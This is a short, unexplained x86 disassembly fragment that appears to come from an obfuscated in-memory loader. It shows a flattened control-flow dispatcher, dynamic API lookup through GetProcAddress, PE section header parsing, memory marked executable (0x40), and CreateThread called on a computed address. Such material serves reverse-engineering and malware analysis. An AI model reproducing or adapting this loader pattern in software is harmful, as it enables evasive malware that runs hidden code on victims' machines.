sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x19c]
mov dword [eax], ecx
mov dword [ebp - 0x1f8], 0x5ebafc17
jmp 0x413941
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x1f8], 0x6ba9c437
jmp 0x413941
mov eax, dword [ebp - 0x190]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x1f8], 0xe4cbc49a
jmp 0x413941
mov dword [ebp - 0x1f8], 0x9531dc28
jmp 0x413941
mov eax, dword [ebp - 0x190]
mov dword [eax], 2
mov dword [ebp - 0x1f8], 0xbab56bc6
jmp 0x413941
mov eax, dword [ebp - 0x80]
mov edx, dword [eax]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1f8], 0x32aaa480
jmp 0x413941
jmp 0x40f529